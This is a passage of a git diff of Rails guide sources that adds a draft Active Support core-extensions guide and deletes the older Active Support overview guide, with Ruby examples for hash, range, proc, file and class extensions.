+# => {:a => 1, :b => 2}, third rule
+
+{:a => 1, :b => 2, :c => 3}.diff(:b => 1, :c => 3, :d => 4)
+# => {:a => 1, :b => 2, :d => 4}, all rules
+
+{}.diff({}) # => {}
+{:a => 1}.diff({}) # => {:a => 1}
+{}.diff(:a => 1) # => {:a => 1}
+</ruby>
+
+An important property of this diff hash is that you can retrieve the original hash by applying +diff+ twice:
+
+<ruby>
+hash.diff(hash2).diff(hash2) == hash
+</ruby>
+
+Diffing hashes may be useful for error messages related to expected option hashes for example.
+
+NOTE: Defined in +active_support/core_ext/hash/diff.rb+.
+
+h4. Working with Keys
+
+h5. +except+ and +except!+
+
+The method +except+ returns a hash with the keys in the argument list removed, if present:
+
+<ruby>
+{:a => 1, :b => 2}.except(:a) # => {:b => 2}
+</ruby>
+
+If the receiver responds to +convert_key+, the method is called on each of the arguments. This allows +except+ to play nice with hashes with indifferent access for instance:
+
+<ruby>
+{:a => 1}.with_indifferent_access.except(:a) # => {}
+{:a => 1}.with_indifferent_access.except("a") # => {}
+</ruby>
+
+The method +except+ may come in handy for example when you want to protect some parameter that can't be globally protected with +attr_protected+:
+
+<ruby>
+params[:account] = params[:account].except(:plan_id) unless admin?
+@account.update_attributes(params[:account])
+</ruby>
+
+There's also the bang variant +except!+ that removes keys in the very receiver.
+
+NOTE: Defined in +active_support/core_ext/hash/except.rb+.
+
+h5. +stringify_keys+ and +stringify_keys!+
+
+The method +stringify_keys+ returns a hash that has a stringified version of the keys in the receiver. It does so by sending +to_s+ to them:
+
+<ruby>
+{nil => nil, 1 => 1, :a => :a}.stringify_keys
+# => {"" => nil, "a" => :a, "1" => 1}
+</ruby>
+
+The result in case of collision is undefined:
+
+<ruby>
+{"a" => 1, :a => 2}.stringify_keys
+# => {"a" => 2}, in my test, can't rely on this result though
+</ruby>
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionView::Helpers::FormHelper+ defines:
+
+<ruby>
+def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+ options = options.stringify_keys
+ options["type"] = "checkbox"
+ ...
+end
+</ruby>
+
+The second line can safely access the "type" key, and let the user to pass either +:type+ or "type".
+
+There's also the bang variant +stringify_keys!+ that stringifies keys in the very receiver.
+
+NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+
+h5. +symbolize_keys+ and +symbolize_keys!+
+
+The method +symbolize_keys+ returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending +to_sym+ to them:
+
+<ruby>
+{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
+# => {1 => 1, nil => nil, :a => "a"}
+</ruby>
+
+WARNING. Note in the previous example only one key was symbolized.
+
+The result in case of collision is undefined:
+
+<ruby>
+{"a" => 1, :a => 2}.symbolize_keys
+# => {:a => 2}, in my test, can't rely on this result though
+</ruby>
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionController::UrlRewriter+ defines
+
+<ruby>
+def rewrite_path(options)
+ options = options.symbolize_keys
+ options.update(options[:params].symbolize_keys) if options[:params]
+ ...
+end
+</ruby>
+
+The second line can safely access the +:params+ key, and let the user to pass either +:params+ or "params".
+
+There's also the bang variant +symbolize_keys!+ that symbolizes keys in the very receiver.
+
+NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+
+h5. +to_options+ and +to_options!+
+
+The methods +to_options+ and +to_options!+ are respectively aliases of +symbolize_keys+ and +symbolize_keys!+.
+
+NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+
+h5. +assert_valid_keys+
+
+The method +assert_valid_keys+ receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does +ArgumentError+ is raised.
+
+<ruby>
+{:a => 1}.assert_valid_keys(:a) # passes
+{:a => 1}.assert_valid_keys("a") # ArgumentError
+</ruby>
+
+Active Record does not accept unknown options when building associations for example. It implements that control via +assert_valid_keys+:
+
+<ruby>
+mattr_accessor :valid_keys_for_has_many_association
+@@valid_keys_for_has_many_association = [
+ :class_name, :table_name, :foreign_key, :primary_key,
+ :dependent,
+ :select, :conditions, :include, :order, :group, :having, :limit, :offset,
+ :as, :through, :source, :source_type,
+ :uniq,
+ :finder_sql, :counter_sql,
+ :before_add, :after_add, :before_remove, :after_remove,
+ :extend, :readonly,
+ :validate, :inverse_of
+]
+
+def create_has_many_reflection(association_id, options, &extension)
+ options.assert_valid_keys(valid_keys_for_has_many_association)
+ ...
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+
+h4. Slicing
+
+Ruby has builtin support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
+
+<ruby>
+{:a => 1, :b => 2, :c => 3}.slice(:a, :c)
+# => {:c => 3, :a => 1}
+
+{:a => 1, :b => 2, :c => 3}.slice(:b, :X)
+# => {:b => 2} # non-existing keys are ignored
+</ruby>
+
+If the receiver responds to +convert_key+ keys are normalized:
+
+<ruby>
+{:a => 1, :b => 2}.with_indifferent_access.slice("a")
+# => {:a => 1}
+</ruby>
+
+NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
+
+There's also +slice!+ which in addition to perform a slice in place returns what's removed:
+
+<ruby>
+hash = {:a => 1, :b => 2}
+rest = hash.slice!(:a) # => {:b => 2}
+hash # => {:a => 1}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
+
+h4. Indifferent Access
+
+The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
+
+<ruby>
+{:a => 1}.with_indifferent_access["a"] # => 1
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/indifferent_access.rb+.
+
+h3. Extensions to +Regexp+
+
+h4. +multiline?+
+
+The method +multiline?+ says whether a regexp has the +/m+ flag set, that is, whether the dot matches newlines.
+
+<ruby>
+%r{.}.multiline? # => false
+%r{.}m.multiline? # => true
+
+Regexp.new('.').multiline? # => false
+Regexp.new('.', Regexp::MULTILINE).multiline? # => true
+</ruby>
+
+Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
+
+<ruby>
+def assign_route_options(segments, defaults, requirements)
+ ...
+ if requirement.multiline?
+ raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+ end
+ ...
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/regexp.rb+.
+
+h3. Extensions to +Range+
+
+h4. +to_s+
+
+Active Support extends the method +Range#to_s+ so that it understands an optional format argument. As of this writing the only supported non-default format is +:db+:
+
+<ruby>
+(Date.today..Date.tomorrow).to_s
+# => "2009-10-25..2009-10-26"
+
+(Date.today..Date.tomorrow).to_s(:db)
+# => "BETWEEN '2009-10-25' AND '2009-10-26'"
+</ruby>
+
+As the example depicts, the +:db+ format generates a +BETWEEN+ SQL clause. That is used by Active Record in its support for range values in conditions.
+
+NOTE: Defined in +active_support/core_ext/range/conversions.rb+.
+
+h4. +step+
+
+Active Support extends the method +Range#step+ so that it can be invoked without a block:
+
+<ruby>
+(1..10).step(2) # => [1, 3, 5, 7, 9]
+</ruby>
+
+As the example shows, in that case the method returns and array with the corresponding elements.
+
+NOTE: Defined in +active_support/core_ext/range/blockless_step.rb+.
+
+h4. +include?+
+
+The method +Range#include?+ says whether some value falls between the ends of a given instance:
+
+<ruby>
+(2..3).include?(Math::E) # => true
+</ruby>
+
+Active Support extends this method so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
+
+<ruby>
+(1..10).include?(3..7) # => true
+(1..10).include?(0..7) # => false
+(1..10).include?(3..11) # => false
+(1...9).include?(3..9) # => false
+</ruby>
+
+WARNING: The orginal +Range#include?+ is still the one aliased to +Range#===+.
+
+NOTE: Defined in +active_support/core_ext/range/include_range.rb+.
+
+h4. +overlaps?+
+
+The method +Range#overlaps?+ says whether any two given ranges have non-void intersection:
+
+<ruby>
+(1..10).overlaps?(7..11) # => true
+(1..10).overlaps?(0..7) # => true
+(1..10).overlaps?(11..27) # => false
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/range/overlaps.rb+.
+
+h3. Extensions to +Proc+
+
+h4. +bind+
+
+As you surely know Ruby has an +UnboundMethod+ class whose instances are methods that belong to the limbo of methods without a self. The method +Module#instance_method+ returns an unbound method for example:
+
+<ruby>
+Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
+</ruby>
+
+An unbound method is not callable as is, you need to bind it first to an object with +bind+:
+
+<ruby>
+clear = Hash.instance_method(:clear)
+clear.bind({:a => 1}).call # => {}
+</ruby>
+
+Active Support defines +Proc#bind+ with an analogous purpose:
+
+<ruby>
+Proc.new { size }.bind([]).call # => 0
+</ruby>
+
+As you see that's callable and bound to the argument, the return value is indeed a +Method+.
+
+NOTE: To do so +Proc#bind+ actually creates a method under the hood. If you ever see a method with a weird name like +__bind_1256598120_237302+ in a stack trace you know now where it comes from.
+
+Action Pack uses this trick in +rescue_from+ for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by +handler_for_rescue+, thus simplifying the code in the caller:
+
+<ruby>
+def handler_for_rescue(exception)
+ _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
+ ...
+ end
+
+ case rescuer
+ when Symbol
+ method(rescuer)
+ when Proc
+ rescuer.bind(self)
+ end
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/proc.rb+.
+
+h3. Extensions to +Date+
+
+...
+
+h3. Extensions to +DateTime+
+
+...
+
+h3. Extensions to +Time+
+
+...
+
+h3. Extensions to +Process+
+
+...
+
+h3. Extensions to +Pathname+
+
+...
+
+h3. Extensions to +File+
+
+h4. +atomic_write+
+
+With the class method +File.atomic_write+ you can write to a file in a way that will prevent any reader from seeing half-written content.
+
+The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done +atomic_write+ closes the file handle and completes its job.
+
+For example, Action Pack uses this method to write asset cache files like +all.css+:
+
+<ruby>
+File.atomic_write(joined_asset_path) do |cache|
+ cache.write(join_asset_file_contents(asset_paths))
+end
+</ruby>
+
+To accomplish this +atomic_write+ creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed. If the target file exists +atomic_write+ overwrites it and keeps owners and permissions.
+
+WARNING. Note you can't append with +atomic_write+.
+
+The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.
+
+NOTE: Defined in +active_support/core_ext/file/atomic.rb+.
+
+h3. Extensions to +NameError+
+
+Active Support adds +missing_name?+ to +NameError+, which tests whether the exception was raised because of the name passed as argument.
+
+The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
+
+TIP: A symbol can represent a fully-qualified constant name as in +:"ActiveRecord::Base"+, so the behaviour for symbols is defined for convenience, not because it has to be that way technically.
+
+For example, when an action of +PostsController+ is called Rails tries optimistically to use +PostsHelper+. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that +posts_helper.rb+ raises a +NameError+ due to an actual unknown constant. That should be reraised. The method +missing_name?+ provides a way to distinguish both cases:
+
+<ruby>
+def default_helper_module!
+ module_name = name.sub(/Controller$/, '')
+ module_path = module_name.underscore
+ helper module_path
+rescue MissingSourceFile => e
+ raise e unless e.is_missing? "#{module_path}_helper"
+rescue NameError => e
+ raise e unless e.missing_name? "#{module_name}Helper"
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/name_error.rb+.
+
+h3. Extensions to +LoadError+
+
+Rails hijacks +LoadError.new+ to return a +MissingSourceFile+ exception:
+
+<shell>
+$ ruby -e 'require "nonexistent"'
+...: no such file to load -- nonexistent (LoadError)
+...
+$ script/runner 'require "nonexistent"'
+...: no such file to load -- nonexistent (MissingSourceFile)
+...
+</shell>
+
+The class +MissingSourceFile+ is a subclass of +LoadError+, so any code that rescues +LoadError+ as usual still works as expected. Point is these exception objects respond to +is_missing?+, which given a path name tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
+
+For example, when an action of +PostsController+ is called Rails tries to load +posts_helper.rb+, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist, but it in turn requires another library that is missing. In that case Rails must reraise the exception. The method +is_missing?+ provides a way to distinguish both cases:
+
+<ruby>
+def default_helper_module!
+ module_name = name.sub(/Controller$/, '')
+ module_path = module_name.underscore
+ helper module_path
+rescue MissingSourceFile => e
+ raise e unless e.is_missing? "#{module_path}_helper"
+rescue NameError => e
+ raise e unless e.missing_name? "#{module_name}Helper"
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/load_error.rb+.
+
+h3. Changelog
+
+"Lighthouse ticket":https://rails.lighthouseapp.com/projects/16213/tickets/67
+
+* April 18, 2009: Initial version by "Xavier Noria":credits.html#fxn
diff --git a/railties/guides/source/active_support_overview.textile b/railties/guides/source/active_support_overview.textile
deleted file mode 100644
index aea77c8d4e..0000000000
--- a/railties/guides/source/active_support_overview.textile
+++ /dev/null
@@ -1,818 +0,0 @@
-h2. Active Support Overview
-
-Active Support is the Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff. It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Rails itself.
-
-By referring to this guide you will learn:
-
-* The extensions to the Ruby core modules and classes provided by Rails.
-* The rest of fundamental libraries available in Rails.
-
-endprologue.
-
-h3. Extensions to All Objects
-
-h4. +blank?+ and +present?+
-
-The following values are considered to be blank in a Rails application:
-
-* +nil+ and +false+,
-
-* strings composed only of whitespace, i.e. matching +/\A\s*\z/+,
-
-* empty arrays and hashes, and
-
-* any other object that responds to +empty?+ and it is empty.
-
-WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not* blank.
-
-For example, this method from +ActionDispatch::Response+ uses +blank?+ to easily be robust to +nil+ and whitespace strings in one shot:
-
-<ruby>
-def charset
- charset = String(headers["Content-Type"] || headers["type"]).split(";")[1]
- charset.blank? ? nil : charset.strip.split("=")[1]
-end
-</ruby>
-
-That's a typical use case for +blank?+.
-
-Here, the method Rails runs to instantiate observers upon initialization has nothing to do if there are none:
-
-<ruby>
-def instantiate_observers
- return if @observers.blank?
- # ...
-end
-</ruby>
-
-The method +present?+ is equivalent to +!blank?+:
-
-<ruby>
-assert @response.body.present? # same as !@response.body.blank?
-</ruby>
-
-h4. +duplicable?+
-
-A few fundamental objects in Ruby are singletons. For example, in the whole live of a program the integer 1 refers always to the same instance:
-
-<ruby>
-1.object_id # => 3
-Math.cos(0).to_i.object_id # => 3
-</ruby>
-
-Hence, there's no way these objects can be duplicated through +dup+ or +clone+:
-
-<ruby>
-true.dup # => TypeError: can't dup TrueClass
-</ruby>
-
-Some numbers which are not singletons are not duplicable either:
-
-<ruby>
-0.0.clone # => allocator undefined for Float
-(2**1024).clone # => allocator undefined for Bignum
-</ruby>
-
-Active Support provides +duplicable?+ to programmatically query an object about this property:
-
-<ruby>
-"".duplicable? # => true
-false.duplicable? # => false
-</ruby>
-
-By definition all objects are +duplicable?+ except +nil+, +false+, +true+, symbols, numbers, and class objects.
-
-WARNING. Using +duplicable?+ is discouraged because it depends on a hard-coded list. Classes have means to disallow duplication like removing +dup+ and +clone+ or raising exceptions from them, only +rescue+ can tell.
-
-h4. +returning+
-
-The method +returning+ yields its argument to a block and returns it. You tipically use it with a mutable object that gets modified in the block:
-
-<ruby>
-def html_options_for_form(url_for_options, options, *parameters_for_url)
- returning options.stringify_keys do |html_options|
- html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
- html_options["action"] = url_for(url_for_options, *parameters_for_url)
- end
-end
-</ruby>
-
-See also "+Object#tap+":#tap.
-
-h4. +tap+
-
-+Object#tap+ exists in Ruby 1.8.7 and 1.9, and it is defined by Active Support for previous versions. This method yields its receiver to a block and returns it.
-
-For example, the following class method from +ActionDispatch::TestResponse+ creates, initializes, and returns a new test response using +tap+:
-
-<ruby>
-def self.from_response(response)
- new.tap do |resp|
- resp.status = response.status
- resp.headers = response.headers
- resp.body = response.body
- end
-end
-</ruby>
-
-See also "+Object#returning+":#returning.
-
-h4. +try+
-
-Sometimes you want to call a method provided the receiver object is not +nil+, which is something you usually check first.
-
-For instance, note how this method of +ActiveRecord::ConnectionAdapters::AbstractAdapter+ checks if there's a +@logger+:
-
-<ruby>
-def log_info(sql, name, ms)
- if @logger && @logger.debug?
- name = '%s (%.1fms)' % [name || 'SQL', ms]
- @logger.debug(format_log_entry(name, sql.squeeze(' ')))
- end
-end
-</ruby>
-
-You can shorten that using +Object#try+. This method is a synonim for +Object#send+ except that it returns +nil+ if sent to +nil+. The previous example could then be rewritten as:
-
-<ruby>
-def log_info(sql, name, ms)
- if @logger.try(:debug?)
- name = '%s (%.1fms)' % [name || 'SQL', ms]
- @logger.debug(format_log_entry(name, sql.squeeze(' ')))
- end
-end
-</ruby>
-
-h4. +metaclass+
-
-The method +metaclass+ returns the singleton class on any object:
-
-<ruby>
-String.metaclass # => #<Class:String>
-String.new.metaclass # => #<Class:#<String:0x17a1d1c>>
-</ruby>
-
-h4. +class_eval(*args, &block)+
-
-You can evaluate code in the context of any object's singleton class using +class_eval+:
-
-<ruby>
-class Proc
- def bind(object)
- block, time = self, Time.now
- object.class_eval do
- method_name = "__bind_#{time.to_i}_#{time.usec}"
- define_method(method_name, &block)
- method = instance_method(method_name)
- remove_method(method_name)
- method
- end.bind(object)
- end
-end
-</ruby>
-
-h4. +acts_like?(duck)+
-
-The method +acts_like+ provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as +String+ defines
-
-<ruby>
-def acts_like_string?
-end
-</ruby>
-
-which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
-
-<ruby>
-some_klass.acts_like?(:string)
-</ruby>
-
-Rails has classes that act like +Date+ or +Time+ and follow this contract.
-
-h4. +to_param+
-
-All objects in Rails respond to the method +to_param+, which is meant to return something that represents them as values in a query string, or as a URL fragments.
-
-By default +to_param+ just calls +to_s+:
-
-<ruby>
-7.to_param # => "7"
-</ruby>
-
-The return value of +to_param+ should *not* be escaped:
-
-<ruby>
-"Tom & Jerry".to_param # => "Tom & Jerry"
-</ruby>
-
-Several classes in Rails overwrite this method.
-
-For example +nil+, +true+, and +false+ return themselves. +Array#to_param+ calls +to_param+ on the elements and joins the result with "/":
-
-<ruby>
-[0, true, String].to_param # => "0/true/String"
-</ruby>
-
-Notably, the Rails routing system calls +to_param+ on models to get a value for the +:id+ placeholder. +ActiveRecord::Base#to_param+ returns the +id+ of a model, but you can redefine that method in your models. For example, given
-
-<ruby>
-class User
- def to_param
- "#{id}-#{name.parameterize}"
- end
-end
-</ruby>
-
-we get:
-
-<ruby>
-user_path(@user) # => "/users/357-john-smith"
-</ruby>
-
-WARNING. Controllers need to be aware of any redifinition of +to_param+ because when a request like that comes in "357-john-smith" is the value of +params[:id]+.
-
-h4. +to_query+
-
-Except for hashes, given an unescaped +key+ this method constructs the part of a query string that would map such key to what +to_param+ returns. For example, given
-
-<ruby>
-class User
- def to_param
- "#{id}-#{name.parameterize}"
- end
-end
-</ruby>
-
-we get:
-
-<ruby>
-current_user.to_query('user') # => user=357-john-smith
-</ruby>
-
-This method escapes whatever is needed, both for the key and the value:
-
-<ruby>
-account.to_query('company[name]')
-# => "company%5Bname%5D=Johnson+%26+Johnson"
-</ruby>
-
-so its output is ready to be used in a query string.
-
-Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "/":
-
-<ruby>
-[3.4, -45.6].to_query('sample')
-# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
-</ruby>
-
-Hashes also respond to +to_query+ but with a different signature. If no argument is passed a call generates a sorted series of key/value assigments calling +to_query(key)+ on its values. Then it joins the result with "&":
-
-<ruby>
-{:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3"
-</ruby>
-
-The method +Hash#to_query+ accepts an optional namespace for the keys:
-
-<ruby>
-{:id => 89, :name => "John Smith"}.to_query('user')
-# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
-</ruby>
-
-h4. +with_options+
-
-The method +with_options+ provides a way to factor out common options in a series of method calls.
-
-Given a default options hash, +with_options+ yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
-
-<ruby>
-class Account < ActiveRecord::Base
- has_many :customers, :dependent => :destroy
- has_many :products, :dependent => :destroy
- has_many :invoices, :dependent => :destroy
- has_many :expenses, :dependent => :destroy
-end
-</ruby>
-
-this way:
-
-<ruby>
-class Account < ActiveRecord::Base
- with_options :dependent => :destroy do |assoc|
- assoc.has_many :customers
- assoc.has_many :products
- assoc.has_many :invoices
- assoc.has_many :expenses
- end
-end
-</ruby>
-
-That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
-
-<ruby>
-I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n|
- subject i18n.t :subject
- body i18n.t :body, :user_name => user.name
-end
-</ruby>
-
-TIP: Since +with_options+ forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
-
-h4. Instance Variables
-
-Active Support provides several methods to ease access to instance variables.
-
-h5. +instance_variable_defined?+
-
-The method +instance_variable_defined?+ exists in Ruby 1.8.6 and later, and it is defined for previous versions anyway:
-
-<ruby>
-class C
- def initialize
- @a = 1
- end
-
- def m
- @b = 2
- end
-end
-
-c = C.new
-
-c.instance_variable_defined?("@a") # => true
-c.instance_variable_defined?(:@a) # => true
-c.instance_variable_defined?("a") # => NameError: `a' is not allowed as an instance variable name
-
-c.instance_variable_defined?("@b") # => false
-c.m
-c.instance_variable_defined?("@b") # => true
-</ruby>
-
-h5. +instance_variable_names+
-
-Ruby 1.8 and 1.9 have a method called +instance_variables+ that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines +instance_variable_names+ as a portable way to obtain them as strings:
-
-<ruby>
-class C
- def initialize(x, y)
- @x, @y = x, y
- end
-end
-
-C.new(0, 1).instance_variable_names # => ["@y", "@x"]
-</ruby>
-
-WARNING: The order in which the names are returned is unespecified, and it indeed depends on the version of the interpreter.
-
-h5. +instance_values+
-
-The method +instance_values+ returns a hash that maps instance variable names without "@" to their
-corresponding values. Keys are strings both in Ruby 1.8 and 1.9:
-
-<ruby>
-class C
- def initialize(x, y)
- @x, @y = x, y
- end
-end
-
-C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
-</ruby>
-
-h5. +copy_instance_variables_from(object, exclude = [])+
-
-Copies the instance variables of +object+ into +self+.
-
-Instance variable names in the +exclude+ array are ignored. If +object+
-responds to +protected_instance_variables+ the ones returned are
-also ignored. For example, Rails controllers implement that method.
-
-In both arrays strings and symbols are understood, and they have to include
-the at sign.
-
-<ruby>
-class C
- def initialize(x, y, z)
- @x, @y, @z = x, y, z
- end
-
- def protected_instance_variables
- %w(@z)
- end
-end
-
-a = C.new(0, 1, 2)
-b = C.new(3, 4, 5)
-
-a.copy_instance_variables_from(b, [:@y])
-# a is now: @x = 3, @y = 1, @z = 2
-</ruby>
-
-In the example +object+ and +self+ are of the same type, but they don't need to.
-
-h4. Silencing Warnings, Streams, and Exceptions
-
-The methods +silence_warnings+ and +enable_warnings+ change the value of +$VERBOSE+ accordingly for the duration of their block, and reset it afterwards:
-
-<ruby>
-silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
-</ruby>
-
-You can silence any stream while a block runs with +silence_stream+:
-
-<ruby>
-silence_stream(STDOUT) do
- # STDOUT is silent here
-end
-</ruby>
-
-Silencing exceptions is also possible with +suppress+. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is +kind_of?+ any of the arguments, +suppress+ captures it and returns silently. Otherwise the exception is reraised:
-
-<ruby>
-# If the user is locked the increment is lost, no big deal.
-suppress(ActiveRecord::StaleObjectError) do
- current_user.increment! :visits
-end
-</ruby>
-
-h3. Extensions to +Module+
-
-...
-
-h3. Extensions to +Class+
-
-h4. Class Attribute Accessors
-
-The macros +cattr_reader+, +cattr_writer+, and +cattr_accessor+ are analogous to their +attr_*+ counterparts but for classes. They initialize a class variable to +nil+ unless it already exists, and generate the corresponding class methods to access it:
-
-<ruby>
-class MysqlAdapter < AbstractAdapter
- # Generates class methods to access @@emulate_booleans.
- cattr_accessor :emulate_booleans
- self.emulate_booleans = true
-end
-</ruby>
-
-Instance methods are created as well for convenience. For example given
-
-<ruby>
-module ActionController
- class Base
- cattr_accessor :logger
- end
-end
-</ruby>
-
-we can access +logger+ in actions. The generation of the writer instance method can be prevented setting +:instance_writer+ to +false+ (not any false value, but exactly +false+):
-
-<ruby>
-module ActiveRecord
- class Base
- # No pluralize_table_names= instance writer is generated.
- cattr_accessor :pluralize_table_names, :instance_writer => false
- end
-end
-</ruby>
-
-h4. Class Inheritable Attributes
-
-Class variables are shared down the inheritance tree. Class instance variables are not shared, but they are not inherited either. The macros +class_inheritable_reader+, +class_inheritable_writer+, and +class_inheritable_accessor+ provide accesors for class-level data which is inherited but not shared with children:
-
-<ruby>
-module ActionController
- class Base
- # FIXME: REVISE/SIMPLIFY THIS COMMENT.
- # The value of allow_forgery_protection is inherited,
- # but its value in a particular class does not affect
- # the value in the rest of the controllers hierarchy.
- class_inheritable_accessor :allow_forgery_protection
- end
-end
-</ruby>
-
-They accomplish this with class instance variables and cloning on subclassing, there are no class variables involved. Cloning is performed with +dup+ as long as the value is duplicable.
-
-There are some variants specialised in arrays and hashes:
-
-<ruby>
-class_inheritable_array
-class_inheritable_hash
-</ruby>
-
-Those writers take any inherited array or hash into account and extend them rather than overwrite them.
-
-As with vanilla class attribute accessors these macros create convenience instance methods for reading and writing. The generation of the writer instance method can be prevented setting +:instance_writer+ to +false+ (not any false value, but exactly +false+):
-
-<ruby>
-module ActiveRecord
- class Base
- class_inheritable_accessor :default_scoping, :instance_writer => false
- end
-end
-</ruby>
-
-Since values are copied when a subclass is defined, if the base class changes the attribute after that, the subclass does not see the new value. That's the point.
-
-There's a related macro called +superclass_delegating_accessor+, however, that does not copy the value when the base class is subclassed. Instead, it delegates reading to the superclass as long as the attribute is not set via its own writer. For example, +ActionMailer::Base+ defines +delivery_method+ this way:
-
-<ruby>
-module ActionMailer
- class Base
- superclass_delegating_accessor :delivery_method
- self.delivery_method = :smtp
- end
-end
-</ruby>
-
-If for whatever reason an application loads the definition of a mailer class and after that sets +ActionMailer::Base.delivery_method+, the mailer class will still see the new value. In addition, the mailer class is able to change the +delivery_method+ without affecting the value in the parent using its own inherited class attribute writer.
-
-h4. Subclasses
-
-The +subclasses+ method returns the names of all subclasses of a given class as an array of strings. That comprises not only direct subclasses, but all descendants down the hierarchy:
-
-<ruby>
-class C; end
-C.subclasses # => []
-
-Integer.subclasses # => ["Bignum", "Fixnum"]
-
-module M
- class A; end
- class B1 < A; end
- class B2 < A; end
-end
-
-module N
- class C < M::B1; end
-end
-
-M::A.subclasses # => ["N::C", "M::B2", "M::B1"]
-</ruby>
-
-The order in which these class names are returned is unspecified.
-
-See also +Object#subclasses_of+ in "Extensions to All Objects FIX THIS LINK":FIXME.
-
-h4. Class Removal
-
-Roughly speaking, the +remove_class+ method removes the class objects passed as arguments:
-
-<ruby>
-Class.remove_class(Hash, Dir) # => [Hash, Dir]
-Hash # => NameError: uninitialized constant Hash
-Dir # => NameError: uninitialized constant Dir
-</ruby>
-
-More specifically, +remove_class+ attempts to remove constants with the same name as the passed class objects from their parent modules. So technically this method does not guarantee the class objects themselves are not still valid and alive somewhere after the method call:
-
-<ruby>
-module M
- class A; end
- class B < A; end
-end
-
-A2 = M::A
-
-M::A.object_id # => 13053950
-Class.remove_class(M::A)
-
-M::B.superclass.object_id # => 13053950 (same object as before)
-A2.name # => "M::A" (name is hard-coded in object)
-</ruby>
-
-WARNING: Removing fundamental classes like +String+ can result in really funky behaviour.
-
-The method +remove_subclasses+ provides a shortcut for removing all descendants of a given class, where "removing" has the meaning explained above:
-
-<ruby>
-class A; end
-class B1 < A; end
-class B2 < A; end
-class C < A; end
-
-A.subclasses # => ["C", "B2", "B1"]
-A.remove_subclasses
-A.subclasses # => []
-C # => NameError: uninitialized constant C
-</ruby>
-
-See also +Object#remove_subclasses_of+ in "Extensions to All Objects FIX THIS LINK":FIXME.
-
-h3. Extensions to +NilClass+
-
-...
-
-h3. Extensions to +TrueClass+
-
-...
-
-h3. Extensions to +FalseClass+
-
-...
-
-h3. Extensions to +Symbol+
-
-...
-
-h3. Extensions to +String+
-
-...
-
-h3. Extensions to +Numeric+
-
-...
-
-h3. Extensions to +Integer+
-
-...
-
-h3. Extensions to +Float+
-
-...
-
-h3. Extensions to +BigDecimal+
-
-...
-
-h3. Extensions to +Enumerable+
-
-...
-
-h3. Extensions to +Array+
-
-h4. Accessing
-
-Active Support augments the API of arrays to ease certain ways of accessing them. For example, +to+ returns the subarray of elements up to the one at the passed index:
-
-<ruby>
-%w(a b c d).to(2) # => %w(a b c)
-[].to(7) # => []
-</ruby>
-
-Similarly, +from+ returns the tail from the element at the passed index on:
-
-<ruby>
-%w(a b c d).from(2) # => %w(c d)
-%w(a b c d).from(10) # => nil
-[].from(0) # => nil
-</ruby>
-
-The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding element (+first+ is builtin). Thanks to social wisdom and positive constructiveness all around, +forty_two+ is also available.
-
-You can pick a random element with +rand+:
-
-<ruby>
-shape_type = [Circle, Square, Triangle].rand
-</ruby>
-
-h4. Grouping
-
-h5. +in_groups_of(number, fill_with = nil)+
-
-The method +in_groups_of+ splits an array into consecutive groups of a certain size. It returns an array with the groups:
-
-<ruby>
-[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
-</ruby>
-
-or yields them in turn if a block is passed:
